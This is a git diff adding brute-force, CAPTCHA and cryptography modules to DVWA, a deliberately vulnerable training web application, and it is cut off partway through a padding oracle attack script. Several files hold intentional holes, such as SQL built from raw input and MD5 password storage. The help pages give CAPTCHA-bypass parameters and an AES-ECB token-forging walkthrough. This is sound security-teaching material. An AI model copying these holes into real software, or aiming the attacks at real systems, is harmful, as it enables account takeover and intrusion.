    "; + + // Update bad login count + $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); + $data->bindParam( ':user', $user, PDO::PARAM_STR ); + $data->execute(); + } + + // Set the last login time + $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); + $data->bindParam( ':user', $user, PDO::PARAM_STR ); + $data->execute(); +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/DVWA/vulnerabilities/brute/source/low.php b/DVWA/vulnerabilities/brute/source/low.php new file mode 100644 index 00000000..aef430a1 --- /dev/null +++ b/DVWA/vulnerabilities/brute/source/low.php @@ -0,0 +1,32 @@ +' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + if( $result && mysqli_num_rows( $result ) == 1 ) { + // Get users details + $row = mysqli_fetch_assoc( $result ); + $avatar = $row["avatar"]; + + // Login successful + $html .= "

    Welcome to the password protected area {$user}

    "; + $html .= ""; + } + else { + // Login failed + $html .= "

    Username and/or password incorrect.
    "; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +?> diff --git a/DVWA/vulnerabilities/brute/source/medium.php b/DVWA/vulnerabilities/brute/source/medium.php new file mode 100644 index 00000000..a14b9db3 --- /dev/null +++ b/DVWA/vulnerabilities/brute/source/medium.php @@ -0,0 +1,35 @@ +' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + if( $result && mysqli_num_rows( $result ) == 1 ) { + // Get users details + $row = mysqli_fetch_assoc( $result ); + $avatar = $row["avatar"]; + + // Login successful + $html .= "

    Welcome to the password protected area {$user}

    "; + $html .= ""; + } + else { + // Login failed + sleep( 2 ); + $html .= "

    Username and/or password incorrect.
    "; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +?> diff --git a/DVWA/vulnerabilities/captcha/help/help.php b/DVWA/vulnerabilities/captcha/help/help.php new file mode 100644 index 00000000..f2ce041d --- /dev/null +++ b/DVWA/vulnerabilities/captcha/help/help.php @@ -0,0 +1,62 @@ +
    +

    Help - Insecure CAPTCHA

    + +
    + + + + +
    +

    About

    +

    A is a program that can tell whether its user is a human or a computer. You've probably seen + them - colourful images with distorted text at the bottom of Web registration forms. CAPTCHAs are used by many websites to prevent abuse from + "bots", or automated programs usually written to generate spam. No computer program can read distorted text as well as humans can, so bots + cannot navigate sites protected by CAPTCHAs.

    + +

    CAPTCHAs are often used to protect sensitive functionality from automated bots. Such functionality typically includes user registration and changes, + password changes, and posting content. In this example, the CAPTCHA is guarding the change password functionality for the user account. This provides + limited protection from CSRF attacks as well as automated bot guessing.

    + +


    + +

    Objective

    +

    Your aim, change the current user's password in a automated manner because of the poor CAPTCHA system.

    + +


    + +

    Low Level

    +

    The issue with this CAPTCHA is that it is easily bypassed. The developer has made the assumption that all users will progress through screen 1, complete the CAPTCHA, and then + move on to the next screen where the password is actually updated. By submitting the new password directly to the change page, the user may bypass the CAPTCHA system.

    + +

    The parameters required to complete this challenge in low security would be similar to the following:

    +
    Spoiler: ?step=2&password_new=password&password_conf=password&Change=Change.
    + +
    + +

    Medium Level

    +

    The developer has attempted to place state around the session and keep track of whether the user successfully completed the + CAPTCHA prior to submitting data. Because the state variable (Spoiler: passed_captcha) is on the client side, + it can also be manipulated by the attacker like so:

    +
    Spoiler: ?step=2&password_new=password&password_conf=password&passed_captcha=true&Change=Change.
    + +
    + +

    High Level

    +

    There has been development code left in, which was never removed in production. It is possible to mimic the development values, to allow + invalid values in be placed into the CAPTCHA field.

    +

    You will need to spoof your user-agent (Spoiler: reCAPTCHA) as well as use the CAPTCHA value of + (Spoiler: hidd3n_valu3) to skip the check.

    + +
    + +

    Impossible Level

    +

    In the impossible level, the developer has removed all avenues of attack. The process has been simplified so that data and CAPTCHA verification occurs in one + single step. Alternatively, the developer could have moved the state variable server side (from the medium level), so the user cannot alter it.

    +
    + +
    + +
    + +

    Reference:

    +
    diff --git a/DVWA/vulnerabilities/captcha/index.php b/DVWA/vulnerabilities/captcha/index.php new file mode 100644 index 00000000..a0d76fd7 --- /dev/null +++ b/DVWA/vulnerabilities/captcha/index.php @@ -0,0 +1,98 @@ +reCAPTCHA API key missing from config file: " . realpath( getcwd() . DIRECTORY_SEPARATOR . DVWA_WEB_PAGE_TO_ROOT . "config" . DIRECTORY_SEPARATOR . "config.inc.php" ) . ""; + $html = "Please register for a key from reCAPTCHA: " . dvwaExternalLinkUrlGet( 'https://www.google.com/recaptcha/admin/create' ); + $hide_form = true; +} + +$page[ 'body' ] .= " +
    +

    Vulnerability: Insecure CAPTCHA

    + + {$WarningHtml} + +
    +
    \n"; + +if( $vulnerabilityFile == 'impossible.php' ) { + $page[ 'body' ] .= " + Current password:
    +
    "; +} + +$page[ 'body' ] .= " New password:
    +
    + Confirm new password:
    +
    + + " . recaptcha_get_html( $_DVWA[ 'recaptcha_public_key' ] ); +if( $vulnerabilityFile == 'high.php' ) + $page[ 'body' ] .= "\n\n \n"; + +if( $vulnerabilityFile == 'high.php' || $vulnerabilityFile == 'impossible.php' ) + $page[ 'body' ] .= "\n " . tokenField(); + +$page[ 'body' ] .= " +
    + + +
    + {$html} +
    + +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/CAPTCHA' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://www.google.com/recaptcha/' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-009_CAPTCHA_Defeat' ) . "
    • +
    +
    \n"; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/captcha/source/high.php b/DVWA/vulnerabilities/captcha/source/high.php new file mode 100644 index 00000000..fb03377f --- /dev/null +++ b/DVWA/vulnerabilities/captcha/source/high.php @@ -0,0 +1,55 @@ +' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + // Feedback for user + $html .= "
    Password Changed.
    "; + + } else { + // Ops. Password mismatch + $html .= "
    Both passwords must match.
    "; + $hide_form = false; + } + + } else { + // What happens when the CAPTCHA was entered incorrectly + $html .= "

    The CAPTCHA was incorrect. Please try again.
    "; + $hide_form = false; + return; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/DVWA/vulnerabilities/captcha/source/impossible.php b/DVWA/vulnerabilities/captcha/source/impossible.php new file mode 100644 index 00000000..5bb475d8 --- /dev/null +++ b/DVWA/vulnerabilities/captcha/source/impossible.php @@ -0,0 +1,67 @@ +
    The CAPTCHA was incorrect. Please try again."; + $hide_form = false; + } + else { + // Check that the current password is correct + $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); + $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); + $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); + $data->execute(); + + // Do both new password match and was the current password correct? + if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) { + // Update the database + $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); + $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); + $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); + $data->execute(); + + // Feedback for the end user - success! + $html .= "
    Password Changed.
    "; + } + else { + // Feedback for the end user - failed! + $html .= "
    Either your current password is incorrect or the new passwords did not match.
    Please try again.
    "; + $hide_form = false; + } + } +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/DVWA/vulnerabilities/captcha/source/low.php b/DVWA/vulnerabilities/captcha/source/low.php new file mode 100644 index 00000000..bfedb56d --- /dev/null +++ b/DVWA/vulnerabilities/captcha/source/low.php @@ -0,0 +1,75 @@ +
    The CAPTCHA was incorrect. Please try again."; + $hide_form = false; + return; + } + else { + // CAPTCHA was correct. Do both new passwords match? + if( $pass_new == $pass_conf ) { + // Show next stage for the user + $html .= " +

    You passed the CAPTCHA! Click the button to confirm your changes.
    +
    + + + + +
    "; + } + else { + // Both new passwords do not match. + $html .= "
    Both passwords must match.
    "; + $hide_form = false; + } + } +} + +if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { + // Hide the CAPTCHA form + $hide_form = true; + + // Get input + $pass_new = $_POST[ 'password_new' ]; + $pass_conf = $_POST[ 'password_conf' ]; + + // Check to see if both password match + if( $pass_new == $pass_conf ) { + // They do! + $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); + $pass_new = md5( $pass_new ); + + // Update database + $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; + $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '
    ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
    ' ); + + // Feedback for the end user + $html .= "
    Password Changed.
    "; + } + else { + // Issue with the passwords matching + $html .= "
    Passwords did not match.
    "; + $hide_form = false; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +?> diff --git a/DVWA/vulnerabilities/captcha/source/medium.php b/DVWA/vulnerabilities/captcha/source/medium.php new file mode 100644 index 00000000..1f76e951 --- /dev/null +++ b/DVWA/vulnerabilities/captcha/source/medium.php @@ -0,0 +1,83 @@ +
    The CAPTCHA was incorrect. Please try again."; + $hide_form = false; + return; + } + else { + // CAPTCHA was correct. Do both new passwords match? + if( $pass_new == $pass_conf ) { + // Show next stage for the user + $html .= " +

    You passed the CAPTCHA! Click the button to confirm your changes.
    +
    + + + + + +
    "; + } + else { + // Both new passwords do not match. + $html .= "
    Both passwords must match.
    "; + $hide_form = false; + } + } +} + +if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { + // Hide the CAPTCHA form + $hide_form = true; + + // Get input + $pass_new = $_POST[ 'password_new' ]; + $pass_conf = $_POST[ 'password_conf' ]; + + // Check to see if they did stage 1 + if( !$_POST[ 'passed_captcha' ] ) { + $html .= "

    You have not passed the CAPTCHA.
    "; + $hide_form = false; + return; + } + + // Check to see if both password match + if( $pass_new == $pass_conf ) { + // They do! + $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); + $pass_new = md5( $pass_new ); + + // Update database + $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; + $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '
    ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
    ' ); + + // Feedback for the end user + $html .= "
    Password Changed.
    "; + } + else { + // Issue with the passwords matching + $html .= "
    Passwords did not match.
    "; + $hide_form = false; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +?> diff --git a/DVWA/vulnerabilities/cryptography/help/help.php b/DVWA/vulnerabilities/cryptography/help/help.php new file mode 100644 index 00000000..3b663013 --- /dev/null +++ b/DVWA/vulnerabilities/cryptography/help/help.php @@ -0,0 +1,180 @@ + + +
    +

    Help - Cryptographic Problems

    + +
    + + + + +
    +

    About

    +

    + Cryptography is key area of security and is used to keep secrets secret. When implemented badly these secrets can be leaked or the crypto manipulated to bypass protections. +

    +

    + This module will look at three weaknesses, using encoding instead of encryption, using algorithms with known weaknesses, and padding oracle attacks. +

    + +


    + +

    Objective

    +

    Each level has its own objective but the general idea is to exploit weak cryptographic implementations.

    + +


    + +

    Low Level

    +

    The thing to notice is the mention of encoding rather than encryption, that should give you a hint about the vulnerability here.

    +

    + +

    +
    +

    Start by encoding a few messages and looking at the output, if you have spent any time around encoding standards you should be able to tell that it is in Base64. Could it be that simple? Try Base64 decoding some test strings to find out:

    +
    encode (hello) -> HwQPBBs=
    +base64decode (HwQPBBs=) -> 0x1f 0x04 0x0f 0x04 0x1b
    +
    encode (a secret) -> FkEQDRcFChs=
    +base64decode (FkEQDRcFChs=) -> 0x16 0x41 0x10 0x0d 0x17 0x05 0x0a 0x1b
    +

    +That failed, but what you might notice is that the number of output characters matches the number of input characters. Another common encoding method that is sometimes mistaken for encryption is XOR, this takes the clear text input and XORs each character with a key which is repeated or truncated to be the same length as the input.

    +

    +XOR is associative, this means that if you XOR the clear text with the key you get the cipher text and if you XOR the cipher text with the key you get the clear text, what it also means is if you XOR the clear text with the cipher text, you get the key. Let's try this with our examples: +

    +
    encode (hello) -> HwQPBBs=
    +xor (HwQPBBs=, hello) -> wacht
    +

    +This looks promising, let's try the second example: +

    +
    encode (a secret) -> FkEQDRcFChs=
    +xor (FkEQDRcFChs=, a secret) -> wachtwoo
    + +

    +There is no repetition in the key yet so let's try with a longer string. +

    + +
    encode (thisisaverylongstringtofindthepassword) -> AwkKGx0EDhkXFg4NDAYTBBsdGwoQFQwOHRkLGxoBBwAQGwMYHQs=
    +xor (thisisaverylongstringtofindthepassword, base64decode (AwkKGx0EDhkXFg4NDAYTBBsdGwoQFQwOHRkLGxoBBwAQGwMYHQs=)) -> wachtwoordwachtwoordwachtwoordwachtwoo
    + +

    +It looks like we have found our key "wachtwoord". Let's give it a try on our challenge string: +

    + +
    xor (base64decode(Lg4WGlQZChhSFBYSEB8bBQtPGxdNQSwEHREOAQY=), wachtwoord) -> Your new password is: Olifant
    + + +

    +And there we have it, the message we are looking for and the password we need to login. +

    + +

    Another lesson here, do not assume that the messages or the underlying system you are working with is in English. The key "wachtwoord" is Dutch for password.

    +
    + +

    Medium Level

    +

    The tokens are encrypted using an Electronic Code Book based algorithm (AES-128-ECB). In this mode, the clear text is broken down into fixed sized blocks and each block is encrypted independently of the rest. This results in a cipher text that is made up from a number of individual blocks with no way to tie them together. Worse than this, any two blocks, from any two clear text inputs, are interchangeable as long as they have been encrypted with the same key. In our example, this means you can take blocks from the three different tokens to make your own token.

    +

    + +

    +
    +

    + How do you know the block size? This is given in the algorithm name. aes-128-ebc is a 128 bit block cipher. 128 bits is 16 bytes, but to make things human readable, the bytes are represented as hex characters meaning each byte is two characters. This gives you a block size of 32 characters. Sooty's token is 192 characters long, 192 / 32 = 6 and so Sooty's token has six code blocks. +

    + +

    +Let's start by breaking the tokens down into blocks.

    +

    Sooty:

    +
    e287af752ed3f9601befd45726785bd9
    +b85bb230876912bf3c66e50758b222d0
    +837d1e6b16bfae07b776feb7afe57630
    +5aec34b41499579d3fb6acc8dc92fd5f
    +cea8743c3b2904de83944d6b19733cdb
    +48dd16048ed89967c250ab7f00629dba
    +

    + +

    Sweep:

    +
    3061837c4f9debaf19d4539bfa0074c1
    +b85bb230876912bf3c66e50758b222d0
    +83f2d277d9e5fb9a951e74bee57c77a3
    +caeb574f10f349ed839fbfd223903368
    +873580b2e3e494ace1e9e8035f0e7e07
    + +

    Soo:

    +
    5fec0b1c993f46c8bad8a5c8d9bb9698
    +174d4b2659239bbc50646e14a70becef
    +83f2d277d9e5fb9a951e74bee57c77a3
    +c9acb1f268c06c5e760a9d728e081fab
    +65e83b9f97e65cb7c7c4b8427bd44abc
    +16daa00fd8cd0105c97449185be77ef5
    + +

    + Each token has broken down nicely into blocks so we are on the right track. +

    +

    + If you look carefully at the blocks you will see that there are some that repeat over the different tokens, this means that the same clear text has been encrypted to create the block. If we look at the description we can try to map these to the JSON object. +

    +

    + Taking Sooty as an example: +

    +

    Sooty:

    +
    e287af752ed3f9601befd45726785bd9 <- Username
    +b85bb230876912bf3c66e50758b222d0 <- Expiry
    +837d1e6b16bfae07b776feb7afe57630 <- Level
    +5aec34b41499579d3fb6acc8dc92fd5f <- Bio
    +cea8743c3b2904de83944d6b19733cdb
    +48dd16048ed89967c250ab7f00629dba
    +

    +

    + Assuming we are right with our mappings, if you compare the blocks that match you can see that Sooty and Sweep both have the same expiry block (b85bb230876912bf3c66e50758b222d0) and both Sweep and Soo have the same level block (83f2d277d9e5fb9a951e74bee57c77a3). This matches with what we know about the tokens as both Sooty and Sweep have expired tokens and both Sweep and Soo are users, not admins. +

    +

    + Knowing all this, we can now create our forged session token. We need to take the username block from Sweep, the expiry block from Soo and the level block from Sooty. We can then finish the token off with the remaining blocks from any of the tokens. This gives us: +

    +
    3061837c4f9debaf19d4539bfa0074c1 <- Sweep as username
    +174d4b2659239bbc50646e14a70becef <- Soo's expiry time
    +837d1e6b16bfae07b776feb7afe57630 <- Sooty's admin privileges
    +caeb574f10f349ed839fbfd223903368 <- Finish off with Sweep's bio
    +873580b2e3e494ace1e9e8035f0e7e07
    +

    + Which gives us... +

    +

    + +

    +

    + This is a very contrived setup with the tokens tweaked to force blocks to map to the JSON object so manipulation is easier to do, in the real world it is unlikely to be this easy however as data is often formed from fixed sized blocks overlaps can happen in a way that mixing blocks up results in valid data. Sometimes just being able to pass invalid data is enough so all that is needed is to swap blocks in a way that they can be decrypted and then passed on to the rest of the system where they will cause errors. +

    +

    + If you want to play with this some more, there is a script called ecb_attack.php in the sources directory which shows how the tokens were generated and lets you combine them in different ways to create custom tokens. +

    +
    + +

    High Level

    +

    The system is using AES-128-CBC which means it is vulnerable to a padding oracle attack.

    + +

    + +

    + +
    +

    Rather than try to explain this here, go read this excellent write up on the attack by Eli Sohl.

    +

    Cryptopals: Exploiting CBC Padding Oracles

    +

    + If you want to play with this some more, there is a script called oracle_attack.php in the sources directory which runs through the full attack with debug. You can run this either against the DVWA site or it will run locally against its own pretend web server. +

    +
    + +

    Impossible Level

    +

    You can never say impossible in crypto as something that would take years today could take minutes in the future when a new attack is found or when processing power takes a giant leam forward.

    +

    + The current recommended alternative to AES-CBC is AES-GCM and so the system uses that here. 256 bit blocks rather than 128 bit blocks are used, and a unique IV used for every message. This may be secure today but who knows what tomorrow brings? +

    +
    + +
    + +
    diff --git a/DVWA/vulnerabilities/cryptography/index.php b/DVWA/vulnerabilities/cryptography/index.php new file mode 100644 index 00000000..c8a58222 --- /dev/null +++ b/DVWA/vulnerabilities/cryptography/index.php @@ -0,0 +1,65 @@ + +

    Vulnerability: Cryptography Problems

    + +
    +"; + +$page[ 'body' ] .= " + {$html} +
    + +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://exploit-notes.hdks.org/exploit/cryptography/algorithm/aes-ecb-padding-attack', "AES-ECB Padding Attack" ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://www.scottbrady91.com/cryptopals/implementing-and-breaking-aes-ecb', "Implementing and breaking AES ECB") . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation', "Wikipedia - Block cipher mode of operation" ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://www.nccgroup.com/us/research-blog/cryptopals-exploiting-cbc-padding-oracles/', "Cryptopals: Exploiting CBC Padding Oracles - Best article") . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://yurichev.org/pkcs7/', "[Crypto] PKCS#7 padding") . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Padding_oracle_attack', "Padding oracle attack") . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://medium.com/@masjadaan/oracle-padding-attack-a61369993c86', "Oracle Padding Attack") . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://robertheaton.com/2013/07/29/padding-oracle-attack/', "The Padding Oracle Attack") . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Padding_%28cryptography%29', "Wikipedia - Padding (cryptography)") . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://gchq.github.io/CyberChef/', "CyberChef") . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://www.101computing.net/xor-encryption-algorithm/', "XOR Encryption Algorithm") . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/XOR_cipher', "XOR Cipher") . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://www.youtube.com/watch?v=7WySPRERN0Q', "Video walk-through by CryptoCat") . "
    • +
    +\n"; + +dvwaHtmlEcho( $page ); + +?> + diff --git a/DVWA/vulnerabilities/cryptography/source/check_token_high.php b/DVWA/vulnerabilities/cryptography/source/check_token_high.php new file mode 100644 index 00000000..1c2ce95a --- /dev/null +++ b/DVWA/vulnerabilities/cryptography/source/check_token_high.php @@ -0,0 +1,25 @@ + 527, + "message" => "Content type must be application/json" + )); + } else { + $token = $jsonData = file_get_contents('php://input'); + $ret = check_token ($token); + } +} else { + $ret = json_encode (array ( + "status" => 405, + "message" => "Method not supported" + )); +} + +print $ret; +exit; diff --git a/DVWA/vulnerabilities/cryptography/source/check_token_impossible.php b/DVWA/vulnerabilities/cryptography/source/check_token_impossible.php new file mode 100644 index 00000000..cba0ef24 --- /dev/null +++ b/DVWA/vulnerabilities/cryptography/source/check_token_impossible.php @@ -0,0 +1,25 @@ + 527, + "message" => "Content type must be application/json" + )); + } else { + $token = $jsonData = file_get_contents('php://input'); + $ret = check_token ($token); + } +} else { + $ret = json_encode (array ( + "status" => 405, + "message" => "Method not supported" + )); +} + +print $ret; +exit; diff --git a/DVWA/vulnerabilities/cryptography/source/download_ecb_attack.php b/DVWA/vulnerabilities/cryptography/source/download_ecb_attack.php new file mode 100644 index 00000000..5d28b531 --- /dev/null +++ b/DVWA/vulnerabilities/cryptography/source/download_ecb_attack.php @@ -0,0 +1,16 @@ + diff --git a/DVWA/vulnerabilities/cryptography/source/download_oracle_attack.php b/DVWA/vulnerabilities/cryptography/source/download_oracle_attack.php new file mode 100644 index 00000000..25740da1 --- /dev/null +++ b/DVWA/vulnerabilities/cryptography/source/download_oracle_attack.php @@ -0,0 +1,16 @@ + diff --git a/DVWA/vulnerabilities/cryptography/source/ecb_attack.php b/DVWA/vulnerabilities/cryptography/source/ecb_attack.php new file mode 100644 index 00000000..4a245b0f --- /dev/null +++ b/DVWA/vulnerabilities/cryptography/source/ecb_attack.php @@ -0,0 +1,98 @@ +user == "sweep" && $user->ex > time() && $user->level == "admin") { + print "Welcome administrator Sweep\n"; +} else { + print "Failed\n"; +} + +?> diff --git a/DVWA/vulnerabilities/cryptography/source/high.php b/DVWA/vulnerabilities/cryptography/source/high.php new file mode 100644 index 00000000..f1cbe341 --- /dev/null +++ b/DVWA/vulnerabilities/cryptography/source/high.php @@ -0,0 +1,70 @@ + + function send_token() { + + const url = 'source/check_token_high.php'; + const data = document.getElementById ('token').value; + + console.log (data); + + fetch(url, { + method: 'POST', + headers: { + 'Content-Type': 'application/json' + }, + body: data + }) + .then(response => { + if (!response.ok) { + throw new Error('Network response was not ok'); + } + return response.json(); + }) + .then(data => { + console.log(data); + message_line = document.getElementById ('message'); + if (data.status == 200) { + message_line.innerText = 'Welcome back ' + data.user + ' (' + data.level + ')'; + message_line.setAttribute('class', 'success'); + } else { + message_line.innerText = 'Error: ' + data.message; + message_line.setAttribute('class', 'warning'); + } + }) + .catch(error => { + console.error('There was a problem with your fetch operation:', error); + }); + + } + +

    + You have managed to steal the following token from a user of the Prognostication application. +

    +

    + +

    +

    + You can use the form below to provide the token to access the system. You have two challenges, first, decrypt the token to find out the secret it contains, and then create a new token to access the system as a other users. See if you can make yourself an administrator. +

    +
    +
    +
    +

    +

    +

    + +

    +
    +"; + +?> diff --git a/DVWA/vulnerabilities/cryptography/source/impossible.php b/DVWA/vulnerabilities/cryptography/source/impossible.php new file mode 100644 index 00000000..6e5342d1 --- /dev/null +++ b/DVWA/vulnerabilities/cryptography/source/impossible.php @@ -0,0 +1,70 @@ + + function send_token() { + + const url = 'source/check_token_impossible.php'; + const data = document.getElementById ('token').value; + + console.log (data); + + fetch(url, { + method: 'POST', + headers: { + 'Content-Type': 'application/json' + }, + body: data + }) + .then(response => { + if (!response.ok) { + throw new Error('Network response was not ok'); + } + return response.json(); + }) + .then(data => { + console.log(data); + message_line = document.getElementById ('message'); + if (data.status == 200) { + message_line.innerText = 'Welcome back ' + data.user + ' (' + data.level + ')'; + message_line.setAttribute('class', 'success'); + } else { + message_line.innerText = 'Error: ' + data.message; + message_line.setAttribute('class', 'warning'); + } + }) + .catch(error => { + console.error('There was a problem with your fetch operation:', error); + }); + + } + +

    + You have managed to steal the following token from a user of the Impervious application. +

    +

    + +

    +

    + This being the impossible level, you should not be able to mess with the token in any useful way but feel free to try below. +

    +
    +
    +
    +

    +

    +

    + +

    +
    +"; + +?> diff --git a/DVWA/vulnerabilities/cryptography/source/low.php b/DVWA/vulnerabilities/cryptography/source/low.php new file mode 100644 index 00000000..235ed19d --- /dev/null +++ b/DVWA/vulnerabilities/cryptography/source/low.php @@ -0,0 +1,112 @@ +getMessage(); + } +} + +$html = " +

    + This super secure system will allow you to exchange messages with your friends without anyone else being able to read them. Use the box below to encode and decode messages. +

    +
    +

    +

    +

    + or + +

    +

    + +

    +
    +"; + +if (!is_null ($encoded)) { + $html .= " +

    +

    "; +} + +$html .= " +
    +

    + You have intercepted the following message, decode it and log in below. +

    +

    + +

    +"; + +if ($errors != "") { + $html .= '
    ' . $errors . '
    '; +} + +if ($messages != "") { + $html .= '
    ' . $messages . '
    '; +} + +if ($success != "") { + $html .= '
    ' . $success . '
    '; +} + +$html .= " +
    +

    +

    +

    + +

    +
    +"; +?> diff --git a/DVWA/vulnerabilities/cryptography/source/medium.php b/DVWA/vulnerabilities/cryptography/source/medium.php new file mode 100644 index 00000000..b07efcc3 --- /dev/null +++ b/DVWA/vulnerabilities/cryptography/source/medium.php @@ -0,0 +1,110 @@ +user == "sweep" && $user->ex > time() && $user->level == "admin") { + $success = "Welcome administrator Sweep"; + } else { + $messages = "Login successful but not as the right user."; + } + } + } + } catch(Exception $e) { + $errors = $e->getMessage(); + } +} + +$html = " +

    + You have managed to get hold of three session tokens for an application you think is using poor cryptography to protect its secrets: +

    +

    + Sooty (admin), session expired +

    +

    + +

    +

    + Sweep (user), session expired +

    +

    + +

    +

    + Soo (user), session valid +

    +

    + +

    +

    + Based on the documentation, you know the format of the token is: +

    +
    {
    +    \"user\": \"example\",
    +    \"ex\": 1723620372,
    +    \"level\": \"user\",
    +    \"bio\": \"blah\"
    +}
    +

    +You also spot this comment in the docs: +

    +
    +To ensure your security, we use aes-128-ecb throughout our application. +
    + +
    +

    + Manipulate the session tokens you have captured to log in as Sweep with admin privileges. +"; + +if ($errors != "") { + $html .= '

    ' . $errors . '
    '; +} + +if ($messages != "") { + $html .= '
    ' . $messages . '
    '; +} + +if ($success != "") { + $html .= '
    ' . $success . '
    '; +} + +$html .= " +
    +

    +

    +

    + +

    +
    +"; +?> diff --git a/DVWA/vulnerabilities/cryptography/source/oracle_attack.php b/DVWA/vulnerabilities/cryptography/source/oracle_attack.php new file mode 100644 index 00000000..3ecb454b --- /dev/null +++ b/DVWA/vulnerabilities/cryptography/source/oracle_attack.php @@ -0,0 +1,318 @@ + $token, + "iv" => $iv_string_b64 + ); + + if (is_null ($url)) { + $body = check_token (json_encode ($data)); + } else { + $ch = curl_init(); + + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json', 'Accept:application/json')); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode ($data)); + + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_HEADER, true); + + $response = curl_exec($ch); + + $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE); + $header = substr($response, 0, $header_size); + $body = substr($response, $header_size); + + // May return false or something that evaluates to false + // so can't do strict type check + if ($response == false) { + print "Could not access remote server, is the URL correct? +${url} +"; + exit; + } + if (strpos ($header, "200 OK") === false) { + print "Check token script not found, have you got the right URL? +${url} +"; + exit; + } + + curl_close($ch); + } + + return json_decode ($body, true); +} + +function do_attack ($iv_string_b64, $token, $url) { + $iv_string = base64_decode ($iv_string_b64); + $temp_init_iv = unpack('C*', $iv_string); + + # The unpack creates an array starting a 1, the + # rest of this code assumes an array starting at 0 + # so calling array_values changes the array 0 based + + $init_iv = array_values ($temp_init_iv); + + print "Trying to decrypt\n"; + print "\n"; + + $iv = zero_array(16); + $zeroing = zero_array(16); + + + for ($padding = 1; $padding <= 16; $padding++) { + $offset = 16 - $padding; + print ("Looking at offset $offset for padding $padding\n"); + for ($i = 0; $i <= 0xff; $i++) { + $iv[$offset] = $i; + for ($k = $offset + 1; $k < 16; $k++) { + $iv[$k] = $zeroing[$k] ^ $padding; + } + try { + $obj = make_call ($token, $iv, $url); + + # 526 is decryption failed + if ($obj['status'] != 526) { + print "Got hit for: " . 